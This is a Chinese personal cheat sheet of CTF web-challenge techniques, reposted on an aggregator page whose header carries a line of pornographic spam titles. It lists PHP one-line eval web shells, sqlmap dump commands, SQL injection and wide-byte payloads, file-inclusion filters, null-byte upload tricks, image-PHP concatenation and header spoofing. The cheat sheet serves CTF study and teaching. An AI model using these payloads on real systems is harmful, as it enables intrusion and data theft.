日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) >

CTF个人总结指南(更新中)

發(fā)布時(shí)間:2023/12/31 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTF个人总结指南(更新中) 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
XCTF總結(jié):
  • 查看源碼
    ctrl+U
    F12
    view-source:
    Burpsuite

  • robots.txt

  • 掃描目錄腳本:桌面dirsearch-master
    命令:C:\Users\Yuen>python C:\Users\Yuen\Desktop\dirsearch-master\dirsearch.py -u http://111.198.29.45:50014/ -e *

  • 常見(jiàn)備份文件名
    .git
    .svn
    .swp
    .~
    .bak
    .bash_history

  • 注意cookie

  • 有些頁(yè)面需要達(dá)到條件才能拿到flag,可以試試查看前端代碼,并修改

  • X-Forwarded-For:123.123.123.123/Referer:https://www.google.com

  • 遇到登陸賬號(hào)密碼的,用bp進(jìn)行爆破

  • 常用一句話

<?php @eval($_GET['cmd']); ?> <?php @eval($_POST['cmd']); ?> <?php @eval($_REQUEST['cmd']); ?>
  • 命令執(zhí)行

command1 & command2 :不管command1執(zhí)行成功與否,都會(huì)執(zhí)行command2
command1 && command2 :先執(zhí)行command1執(zhí)行成功后才會(huì)執(zhí)行command2 ,若command1執(zhí)行失敗,則不執(zhí)行command2
command1 | command2 :只執(zhí)行command2(將上一個(gè)命令的輸出作為下一個(gè)命令的輸入)
command1 || command2 :command1執(zhí)行失敗,再執(zhí)行command2(若command1執(zhí)行成功,就不再執(zhí)行command2)

  • sqlmap爆破
    (1)全爆
    sqlmap -u “www.example” --dbs
    sqlmap -r xctfrequest.txt --dbs
    sqlmap -r xctfrequest.txt -D news --dump
    (2)慢慢爆
-D 數(shù)據(jù)庫(kù) -T 表名 -C 字段名 --dump
  • git泄露
    url訪問(wèn):http://111.198.29.45:46634/.git/,出現(xiàn)泄露的文件,因此得出存在git文件泄露
    腳本:python GitHack.py http://111.198.29.45:31555/.git/

  • chrome://downloads,恢復(fù)惡意文件

  • 下載到附件后,查看代碼可以根據(jù)代碼內(nèi)容修改后綴名查看

  • 瀏覽器會(huì)自動(dòng)對(duì)url進(jìn)行一次解碼,有時(shí)需要兩次編碼

  • 序列化和反序列化

serialize() unserialize() O:4:"xctf":1:{s:4:"flag";s:3:"111";} __wakeup()函數(shù)漏洞原理:當(dāng)序列化字符串表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)個(gè)數(shù)的屬性時(shí)就會(huì)跳過(guò)__wakeup的執(zhí)行。因此,需要修改序列化字符串中的屬性個(gè)數(shù) 序列化字符串各部分簡(jiǎn)單釋義: O代表結(jié)構(gòu)類型為:類:4表示類名長(zhǎng)度:接著是類名:屬性(成員)個(gè)數(shù) 大括號(hào)內(nèi)分別是:屬性名類型;長(zhǎng)度:名稱:值類型:長(zhǎng)度:值
  • intval函數(shù)
    去除小數(shù)點(diǎn)(0除外)的函數(shù)

注:

  • 源碼看不出東西就抓包,有些進(jìn)行url超鏈接的需要抓包

  • POST提交數(shù)據(jù):需要在最后一行添加Content-Type: application/x-www-form-urlencoded

  • find / -name flag.txt

  • 有時(shí)候有id=xx并不是一定存在sql注入,而是存在id的爆破,多多嘗試

  • copy 1.jpg/b + 1.php/a 11.jpg

  • ==是判斷返回true還是false

  • 一定仔細(xì)看題目,那就是提示

  • extract(),查詢php官網(wǎng)得知這個(gè)函數(shù)會(huì)將參數(shù)里數(shù)組的鍵名當(dāng)作變量名,值作為變量的值。

  • 上傳時(shí)的1.php.jpg的00截?cái)嗪虲ontent-Type:

CG-CTF總結(jié):
  • 修改前端代碼長(zhǎng)度
  • 圖片源碼查看可能有flag
  • 源碼頁(yè)面層層遞進(jìn)
  • 文字編碼后,打開(kāi)新txt,之后以Unicode格式保存(右鍵另存為),之后再放入控制臺(tái)運(yùn)行
  • 頁(yè)面存在超鏈接,注意真正的鏈接會(huì)被重定向,考慮查看源代碼或者使用bp
  • 文件包含偽協(xié)議php://filter/read=convert.base64-encode/resource=index.php
  • 修改cookie
  • robots.txt
  • 引號(hào)被轉(zhuǎn)義,可以使用%df和\合成運(yùn),注釋符可以是%23(#如果被過(guò)濾的話就url編碼)或者–+
  • ereg()函數(shù)%00截?cái)?br /> ereg()在匹配字串是檢測(cè)到%00會(huì)停止,而strpos()會(huì)繼續(xù),故構(gòu)造nctf=1%00%23biubiubiu即可得到flag(%23因?yàn)闉g覽器會(huì)自動(dòng)解嗎一次,只使用#會(huì)被瀏覽器自動(dòng)解碼成空)
  • php弱類型
    s878926199a
    0e545993274517709034328855841020
    s155964671a
    0e342768416822451524974117254469
  • post變量覆蓋
    register_global=ON時(shí)POST傳入數(shù)據(jù)值會(huì)覆蓋掉php中變量值,源碼中對(duì)post數(shù)據(jù)進(jìn)行了extract()處理,extract()函數(shù)會(huì)將數(shù)組中的值賦給對(duì)應(yīng)索引
  • 1.php%00截?cái)嗖恍?#xff0c;就把%00替換為空格標(biāo)記該位置,在16進(jìn)制中找到對(duì)應(yīng)的位置,把20(空格的16進(jìn)制是20)改為00截?cái)?/li>
  • sql注入有源碼給你看時(shí),可能需要構(gòu)造payload
正如下面user需要等于admin if($_POST[user] && $_POST[pass]) $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";//$user帶進(jìn)去后,這里的雙引號(hào)就會(huì)消失的 構(gòu)造語(yǔ)句:user=admin')#&pass=1111
  • strcmp()弱類型,傳入數(shù)組時(shí)會(huì)返回null。所以post的數(shù)據(jù)為pass[]=1可以獲取flag,pass=aa[]是不行的,必須要在參數(shù)pass后面加[]
  • 本地登錄:抓包添加Client-ip:127.0.0.1或x-forwarded-for:127.0.0.1
  • 讓兩個(gè)數(shù)相等,要實(shí)現(xiàn)繞過(guò)還是可以使用16進(jìn)制=10進(jìn)制,十進(jìn)制轉(zhuǎn)16進(jìn)制最好用python腳本,工具的轉(zhuǎn)的hex(16進(jìn)制不行)
  • sql注入:clean()函數(shù)去掉轉(zhuǎn)義,htmlentities($str, ENT_QUOTES)會(huì)轉(zhuǎn)換單引號(hào)和雙引號(hào)。這里我們只能通過(guò)引入反斜杠,轉(zhuǎn)義原有的單引號(hào),改變?cè)璼ql語(yǔ)句的邏輯,導(dǎo)致sql注入
    payload如下:?username=&password=%20or%201%23
  • 遇到一大串代碼,就放到控制臺(tái)里運(yùn)行,亂碼的話就先右鍵保存,轉(zhuǎn)碼后再放入控制臺(tái),也要注意請(qǐng)求頭,響應(yīng)頭有沒(méi)有提示
    如遇到history of bash,則url目錄后訪問(wèn)/.bash_history,最后如果出現(xiàn)zip就下載
    例:
    zip -r mydata.zip mydata #壓縮mydata目錄 壓縮成 mydata.zip 文件
    unzip mydata.zip -d mydatabak #解壓mydata.zip 解壓到mydatabak目錄下
  • union前面的語(yǔ)句查詢不成功的時(shí)候會(huì)執(zhí)行后面的語(yǔ)句
  • vim這個(gè)東西異常退出時(shí)會(huì)留下臨時(shí)文件常常是.swp、.swo格式。或者可能會(huì)留下備份文件~結(jié)尾文件,所以可以尋找action文件,例如是submit.php,之后在原本action的基礎(chǔ)上加.sumbit.php.swp來(lái)查看submint.php的源碼
  • 判斷:0e11='0' //true 判斷:000000...n個(gè)0='0' //true
  • 偽協(xié)議php://input訪問(wèn)請(qǐng)求的原始數(shù)據(jù)的只讀流,如果無(wú)法顯示flag就使用bp來(lái)進(jìn)行post請(qǐng)求
  • 變量覆蓋:foreach(name=meizijiu233 as $key => $value) //$key=name,$value=meizijiu233

注:PHP所使用的preg_match()函數(shù)從用戶輸入字符串獲得參數(shù),如果所傳送的值為數(shù)組而不是字符串就會(huì)生成警告,警告消息中包含有當(dāng)前運(yùn)行腳本的完整路徑
application/octet-stream 未知的應(yīng)用程序文件

application/json json數(shù)據(jù)

text/plain 未知的文本文件(純文本文件),瀏覽器會(huì)認(rèn)為這是可以直接顯示的

注:瀏覽器分辨文件是基于MIME的,而不會(huì)把文件打開(kāi)查看是否是其他類型,例如用link鏈接了一個(gè)標(biāo)記為text/plain的文件,就算此文件是css文件,就算其后綴是.css,瀏覽器依舊不認(rèn)

text/css css文件

text/html HTML文件

image/gif gif文件

總結(jié)

以上是生活随笔為你收集整理的CTF个人总结指南(更新中)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。